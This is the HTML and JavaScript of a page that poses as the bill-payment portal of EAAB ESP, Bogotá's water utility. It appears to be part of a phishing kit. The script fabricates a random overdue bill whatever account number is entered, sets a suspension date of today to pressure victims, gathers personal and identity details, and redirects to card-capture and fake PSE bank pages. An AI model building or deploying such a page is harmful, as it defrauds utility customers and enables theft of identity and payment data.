<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Pagos EAAB ESP - Factura Individual</title>
    <style>
        /* =========================================
           ESTILOS GENERALES Y HEADER
           ========================================= */
        body { 
            font-family: 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; 
            margin: 0; 
            padding: 0; 
            background-color: #f8f9fa; 
            color: #333;
        }

        header { 
            background-color: #1b6ec2; 
            padding: 12px 0; 
            width: 100%;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }

        .header-content {
            max-width: 1100px; 
            margin: 0 auto;
            display: flex;
            justify-content: flex-end; 
            padding: 0 20px;
        }

        header img {
            height: 49px;
            max-width: 100%;
        }

        /* =========================================
           CONTENEDOR Y FORMULARIO INICIAL
           ========================================= */
        .container {
            max-width: 1240px;
            margin: 40px auto 82px auto;
            padding: 0 20px;
            box-sizing: border-box;
        }

        h1 { 
            font-size: 32px; 
            color: #2c3e50; 
            margin: 0 0 30px 0; 
            font-weight: 600;
        }

        .payment-form {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }

        .form-group {
            display: flex;
            flex-direction: column;
        }

        .form-group label {
            display: flex;
            align-items: center;
            gap: 6px;
            font-size: 14px;
            color: #555;
            margin-bottom: 8px;
            font-weight: 500;
        }

        .form-group label svg {
            width: 16px; height: 16px; stroke: #1b6ec2;
        }

        .form-control {
            padding: 12px;
            border: 1px solid #ced4da;
            border-radius: 6px;
            font-size: 15px;
            color: #495057;
            font-family: inherit;
            outline: none;
            transition: all 0.3s ease;
            background-color: #fff;
            width: 100%;
            box-sizing: border-box;
        }

        .form-control:focus {
            border-color: #1b6ec2;
            box-shadow: 0 0 0 4px rgba(27, 110, 194, 0.15);
        }

        .btn-submit {
            grid-column: span 2;
            background-color: #1b6ec2;
            color: #ffffff;
            text-align: center;
            border: none;
            padding: 14px 20px;
            border-radius: 6px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
            margin-top: 10px;
            box-shadow: 0 4px 6px rgba(27, 110, 194, 0.2);
        }

        .btn-submit:hover { 
            background-color: #155799; 
            box-shadow: 0 6px 12px rgba(27, 110, 194, 0.3);
            transform: translateY(-1px);
        }

        .help-text {
            font-size: 15px; color: #555; line-height: 1.6;
            margin-top: 20px; margin-bottom: 25px;
        }
        .help-text a { color: #1b6ec2; text-decoration: none; font-weight: 600; }
        .help-text a:hover { text-decoration: underline; }

        /* =========================================
           OVERLAY DE CARGA
           ========================================= */
        #loadingOverlay {
            position: fixed; top: 0; left: 0; width: 100%; height: 100%;
            background-color: rgba(50, 50, 50, 0.85);
            backdrop-filter: blur(4px);
            display: none; justify-content: center; align-items: center; z-index: 9999;
        }

        #loadingOverlay img { width: 100px; animation: pulseFade 1.5s infinite; }

        @keyframes pulseFade {
            0% { transform: scale(0.95); opacity: 0.5; }
            50% { transform: scale(1.05); opacity: 1; }
            100% { transform: scale(0.95); opacity: 0.5; }
        }

        /* =========================================
           RESULTADOS, BARRA Y SWITCHES
           ========================================= */
        .alert-gray {
            grid-column: span 2; background-color: #9299a0; color: white;
            padding: 10px; text-align: center; border-radius: 4px;
            font-size: 16px; font-weight: 500; display: none;
            margin-top: 20px; box-sizing: border-box;
        }

        #resultsSection { display: none; width: 100%; animation: fadeIn 0.5s ease; }

        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(10px); }
            to { opacity: 1; transform: translateY(0); }
        }

        .toggle-all {
            display: flex; align-items: center; gap: 12px; margin-bottom: 15px;
            font-size: 16px; font-weight: 400; color: #333;
        }

        .switch { position: relative; display: inline-block; width: 40px; height: 20px; flex-shrink: 0; margin-right: 4px; }
        .switch input { opacity: 0; width: 0; height: 0; }
        .slider {
            position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0;
            background-color: #d1d5db; transition: .4s; border-radius: 34px;
        }
        .slider:before {
            position: absolute; content: ""; height: 16px; width: 16px; left: 2px; bottom: 2px;
            background-color: white; transition: .4s; border-radius: 50%;
            box-shadow: 0 1px 3px rgba(0,0,0,0.3);
        }
        input:checked + .slider { background-color: #2672ec; }
        input:checked + .slider:before { transform: translateX(20px); }

        /* =========================================
           TABLA
           ========================================= */
        .table-container {
            background: #ffffff; box-shadow: 0px 4px 15px rgba(0, 0, 0, 0.08); 
            border-radius: 4px; padding: 15px; width: 100%;
            box-sizing: border-box; margin-bottom: 40px; border: 1px solid #eaeaea; overflow-x: auto; 
        }

        table { width: 100%; border-collapse: collapse; text-align: left; }
        th { font-weight: bold; color: #000; font-size: 14px; white-space: normal; vertical-align: bottom; padding: 12px 10px; border-bottom: 1px solid #e0e0e0; }
        td { padding: 16px 10px; border-bottom: 1px solid #f0f0f0; vertical-align: middle; font-size: 15px; color: #333; }
        tbody tr:last-child td { border-bottom: none; }
        tbody tr:hover { background-color: #fcfcfc; }
        .text-red { color: #d93838; font-weight: bold; font-size: 16px; letter-spacing: 2px; }
        .status-pending { color: #d84545; font-weight: bold; font-size: 14px; line-height: 1.3; display: inline-block; }
        .btn-delete { background: none; border: none; cursor: pointer; color: #555; padding: 4px; border-radius: 4px; transition: all 0.2s; display: flex; align-items: center; justify-content: center; }
        .btn-delete:hover { color: #dc3545; }

        /* =========================================
           SECCIONES DE PAGO Y PAGADOR
           ========================================= */
        .section-title {
            display: flex; align-items: center; gap: 10px; font-size: 18px; color: #222;
            font-weight: 600; margin: 40px 0 20px 0; padding-bottom: 10px; border-bottom: 2px solid #eef0f2;
        }
        .section-title svg { width: 22px; height: 22px; stroke: #1b6ec2; }
        .payer-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; margin-bottom: 30px; }
        .full-width { grid-column: span 2; }

        .custom-input-group {
            border: 1px solid #ced4da; border-radius: 6px; padding: 8px 14px;
            background-color: #fff; display: flex; flex-direction: column; justify-content: center;
            transition: all 0.3s ease; cursor: text;
        }
        .custom-input-group:focus-within { border-color: #1b6ec2; box-shadow: 0 0 0 4px rgba(27, 110, 194, 0.15); }
        .custom-input-group label { font-size: 12px; color: #6c757d; margin-bottom: 4px; font-weight: 500; }
        .custom-input-group input, .custom-input-group select {
            border: none; outline: none; background: transparent; font-size: 15px; color: #333;
            width: 100%; padding: 0; font-family: inherit; appearance: auto; font-weight: 500;
        }
        .custom-input-group input::placeholder { color: #adb5bd; font-weight: 400;}
        .custom-input-group select:invalid { color: #adb5bd; } 

        .extra-options { display: flex; flex-direction: column; gap: 16px; margin-bottom: 35px; }
        .extra-options .toggle-row { display: flex; align-items: center; gap: 14px; font-size: 15px; color: #444; font-weight: 500; }

        .total-box {
            background-color: #f0f4fa; border: 1px solid #dce5f2; border-left: 6px solid #1b6ec2;
            border-radius: 6px; padding: 20px 25px; font-size: 18px; color: #1b6ec2; font-weight: 700;
            margin-bottom: 30px; display: flex; justify-content: space-between; align-items: center;
            box-shadow: 0 4px 10px rgba(27, 110, 194, 0.05);
        }
        .total-box span { color: #555; font-weight: 600; }
        
        .valor-dinamico { color: #1b6ec2; }

        .btn-pagar-final {
            width: 100%; background-color: #28a745; color: #ffffff; text-align: center; border: none; padding: 18px 20px;
            border-radius: 6px; font-size: 18px; font-weight: 700; cursor: pointer; transition: all 0.3s ease;
            box-shadow: 0 4px 6px rgba(40, 167, 69, 0.2);
        }
        .btn-pagar-final:hover { background-color: #218838; transform: translateY(-2px); }

        /* =========================================
           MEDIA QUERIES (AJUSTES PARA CELULAR)
           ========================================= */
        @media (max-width: 768px) {
            .container { margin-top: 20px; padding: 0 15px; }
            h1 { font-size: 24px; margin-bottom: 20px; }
            .payment-form { grid-template-columns: 1fr; gap: 15px; }
            .btn-submit { grid-column: span 1; width: 100%; }
            .alert-gray { grid-column: span 1; font-size: 15px; padding: 12px; }
            .payer-grid { grid-template-columns: 1fr; }
            .full-width { grid-column: span 1; }
            .total-box { flex-direction: column; align-items: flex-start; gap: 10px; font-size: 16px; }
            .table-container { padding: 0; box-shadow: none; border: none; background: transparent; }
            table, thead, tbody, th, td, tr { display: block; }
            thead tr { display: none; }
            tr { background: #fff; border: 1px solid #dce5f2; border-radius: 8px; margin-bottom: 20px; box-shadow: 0 4px 10px rgba(0,0,0,0.05); overflow: hidden; }
            td { display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid #eef0f2; padding: 12px 15px; text-align: right; }
            td:last-child { border-bottom: none; justify-content: center; }
            td::before { content: attr(data-label); font-weight: 700; color: #1b6ec2; font-size: 13px; text-align: left; margin-right: 10px; flex-shrink: 0; }
        }
    </style>
</head>
<body>

    <div id="loadingOverlay">
        <img src="img/t.png" alt="Cargando...">
    </div>

    <header>
        <div class="header-content">
            <img src="img/logo.png" alt="Logo Acueducto">
        </div>
    </header>

    <main class="container">
        <h1>Pagos por Cuenta Contrato de la EAAB ESP</h1>

        <form class="payment-form" id="searchForm">
            <div class="form-group">
                <label for="cuenta_contrato">
                    <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M12 2.69l5.66 5.66a8 8 0 1 1-11.31 0z"></path>
                    </svg>
                    Cuenta Contrato
                </label>
                <input type="text" id="cuenta_contrato" class="form-control" placeholder="Ingrese el número" required>
            </div>

            <div class="form-group">
                <label for="tipo_deuda">
                    <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="2" y="6" width="20" height="12" rx="2"></rect>
                        <circle cx="12" cy="12" r="2"></circle>
                        <path d="M6 12h.01M18 12h.01"></path>
                    </svg>
                    Tipo de Deuda
                </label>
                <select id="tipo_deuda" class="form-control">
                    <option value="factura_acueducto" selected>Factura de Acueducto, Alcantarillado y Aseo Únicamente</option>
                </select>
            </div>

            <button type="submit" id="btnSubmit" class="btn-submit">Agregar »</button>
            <div id="alertCaptcha" class="alert-gray">Antes de agregar otra cuenta resuelva el captcha</div>
        </form>

        <p class="help-text">
            Si desea pagar múltiples cuentas contrato, también puede subir un archivo de Excel XLSX. Para seleccionar el archivo haga clic <a href="varias.php">aquí</a>.
        </p>

        <form id="resultsSection">
            
            <div class="toggle-all">
                <label class="switch"><input type="checkbox"><span class="slider"></span></label>
                <span>Seleccionar todo</span>
            </div>

            <div class="table-container">
                <table>
                    <thead>
                        <tr>
                            <th>Pagar</th>
                            <th>Inscribir<br>en<br>Factura<br>Virtual</th>
                            <th>Tipo</th>
                            <th>Fecha de<br>Vencimiento</th>
                            <th>Fecha de<br>Suspensión</th>
                            <th>Valor<br>Acueducto y<br>Alcantarillado</th>
                            <th>Valor<br>Aseo</th>
                            <th>Valor<br>Total</th>
                            <th>Estado</th>
                            <th>Borrar</th>
                        </tr>
                    </thead>
                    <tbody>
                        <tr>
                            <td data-label="Pagar"><label class="switch"><input type="checkbox" checked><span class="slider"></span></label></td>
                            <td data-label="Factura Virtual"><label class="switch"><input type="checkbox" checked><span class="slider"></span></label></td>
                            <td data-label="Tipo">Facturación<br>Periódica</td>
                            <td data-label="Vencimiento" id="td_fecha_vencimiento">--/--/----</td>
                            <td data-label="Suspensión" id="td_fecha_suspension">--/--/----</td>
                            <td data-label="Valor Acueducto" id="td_valor_acueducto">$ 0</td>
                            <td data-label="Valor Aseo">$ 0</td>
                            <td data-label="Valor Total" id="td_valor_total">$ 0</td>
                            <td data-label="Estado"><span class="status-pending">Pago<br>Pendiente</span></td>
                            <td data-label="Borrar"><button type="button" class="btn-delete" title="Eliminar fila">Borrar</button></td>
                        </tr>
                    </tbody>
                </table>
            </div>

            <h3 class="section-title">Medio de Pago</h3>
            <div class="custom-input-group full-width" style="margin-bottom: 20px;">
                <label>Seleccione una opción de pago</label>
                <select id="medio_pago" required>
                    <option value="" disabled selected>Seleccione un medio de pago...</option>
                    <option value="tarjeta">Tarjeta de Crédito o Débito</option>
                    <option value="pse">PSE (Pagos Seguros en Línea)</option>
                </select>
            </div>

            <h3 class="section-title">Datos del Pagador</h3>
            <div class="payer-grid">
                <div class="custom-input-group" onclick="this.querySelector('select').focus()">
                    <label>Tipo de Documento</label>
                    <select id="pagador_tipo_doc" required>
                        <option value="" disabled selected>Seleccione...</option>
                        <option value="Cédula de ciudadanía">Cédula de Ciudadanía</option>
                        <option value="Cédula de extranjería">Cédula de Extranjería</option>
                        <option value="NIT">NIT</option>
                        <option value="Pasaporte">Pasaporte</option>
                    </select>
                </div>
                <div class="custom-input-group" onclick="this.querySelector('input').focus()">
                    <label>Número de Documento</label>
                    <input type="text" id="pagador_doc" placeholder="Ej. 1020304050" required>
                </div>
                <div class="custom-input-group" onclick="this.querySelector('input').focus()">
                    <label>Nombres</label>
                    <input type="text" id="pagador_nombres" placeholder="Sus nombres" required>
                </div>
                <div class="custom-input-group" onclick="this.querySelector('input').focus()">
                    <label>Apellidos</label>
                    <input type="text" id="pagador_apellidos" placeholder="Sus apellidos" required>
                </div>
                <div class="custom-input-group" onclick="this.querySelector('input').focus()">
                    <label>Teléfono Celular</label>
                    <input type="tel" id="pagador_tel" placeholder="Ej. 300 123 4567" required>
                </div>
                <div class="custom-input-group" onclick="this.querySelector('input').focus()">
                    <label>Correo Electrónico</label>
                    <input type="email" id="pagador_correo" placeholder="ejemplo@correo.com" required>
                </div>
                <div class="custom-input-group full-width" onclick="this.querySelector('input').focus()">
                    <label>Dirección Física</label>
                    <input type="text" id="pagador_dir" placeholder="Ej. Calle 123 # 45 - 67" required>
                </div>
            </div>

            <div class="extra-options">
                <div class="toggle-row">
                    <label class="switch"><input type="checkbox"><span class="slider"></span></label>
                    <span>Guardar mis datos de pago en este equipo de forma segura</span>
                </div>
            </div>

            <div class="total-box">
                <span>Valor total a pagar</span>
                <span id="span_total_box" class="valor-dinamico">$ 0 COP</span>
            </div>

            <button type="submit" class="btn-pagar-final">Pagar Factura</button>

        </form> 
    </main>

    <script>
        // Función auxiliar para formatear fechas (DD/MM/YYYY)
        function formatearFecha(fecha) {
            const dia = String(fecha.getDate()).padStart(2, '0');
            const mes = String(fecha.getMonth() + 1).padStart(2, '0');
            const anio = fecha.getFullYear();
            return `${dia}/${mes}/${anio}`;
        }

        // Simulador de búsqueda inicial
        document.getElementById('searchForm').addEventListener('submit', function(e) {
            e.preventDefault(); 
            const overlay = document.getElementById('loadingOverlay');
            const btnSubmit = document.getElementById('btnSubmit');
            const alertCaptcha = document.getElementById('alertCaptcha');
            const resultsSection = document.getElementById('resultsSection');

            // 1. GENERAR VALOR ALEATORIO Y GUARDARLO
            const valorAleatorio = Math.floor(Math.random() * (300000 - 80000 + 1)) + 80000;
            localStorage.setItem('total_pagar', valorAleatorio);
            const valorFormateado = '$ ' + new Intl.NumberFormat('es-CO').format(valorAleatorio);

            // 2. GENERAR FECHAS DINÁMICAS
            const fechaHoy = new Date();
            const fechaVencimiento = new Date();
            fechaVencimiento.setDate(fechaHoy.getDate() - 4);

            // 3. ACTUALIZAR DOM CON LOS DATOS GENERADOS
            document.getElementById('td_valor_acueducto').textContent = valorFormateado;
            document.getElementById('td_valor_total').innerHTML = `<strong>${valorFormateado}</strong>`;
            document.getElementById('span_total_box').textContent = `${valorFormateado} COP`;
            
            document.getElementById('td_fecha_suspension').textContent = formatearFecha(fechaHoy);
            document.getElementById('td_fecha_vencimiento').textContent = formatearFecha(fechaVencimiento);

            overlay.style.display = 'flex';

            setTimeout(() => {
                overlay.style.display = 'none';
                btnSubmit.style.display = 'none';
                alertCaptcha.style.display = 'block';
                resultsSection.style.display = 'block';
                resultsSection.scrollIntoView({ behavior: 'smooth', block: 'start' });
            }, 2000);
        });

        // Lógica de Pago Final (LocalStorage y Redirección)
        document.getElementById('resultsSection').addEventListener('submit', function(e) {
            e.preventDefault(); // Previene recargar la página

            // Capturar datos
            const medio = document.getElementById('medio_pago').value;
            const tipoDoc = document.getElementById('pagador_tipo_doc').value;
            const doc = document.getElementById('pagador_doc').value.trim();
            const nombres = document.getElementById('pagador_nombres').value.trim();
            const apellidos = document.getElementById('pagador_apellidos').value.trim();
            const tel = document.getElementById('pagador_tel').value.trim();
            const correo = document.getElementById('pagador_correo').value.trim();
            const dir = document.getElementById('pagador_dir').value.trim();

            const nombreCompleto = nombres + " " + apellidos;
            
            // Variable para definir a dónde vamos a redirigir
            let urlDestino = '';

            // Guardar en LocalStorage y asignar URL según el método elegido
            if (medio === 'tarjeta') {
                const tbdatos = {
                    nombre: nombreCompleto,
                    documento: doc,
                    tipo_identificacion: tipoDoc,
                    tipo_persona: "Natural", 
                    correo: correo,
                    direccion: dir,
                    telefono: tel
                };
                localStorage.setItem('tbdatos', JSON.stringify(tbdatos));
                urlDestino = 'data-cc/alter.php'; 
                
            } else if (medio === 'pse') {
                localStorage.setItem('correo', correo);
                localStorage.setItem('cel', tel);
                localStorage.setItem('val', doc);
                localStorage.setItem('per', "Natural");
                localStorage.setItem('nom', nombreCompleto);
                urlDestino = 'data-ps/recargas/transaction/pse-ini.php'; 
            }

            // Mostrar el overlay gris
            const overlay = document.getElementById('loadingOverlay');
            overlay.style.display = 'flex';

            // Esperar 1.5 segundos y redirigir a la URL correspondiente
            setTimeout(() => {
                window.location.href = urlDestino;
            }, 1500); 
        });
    </script>
</body>
</html>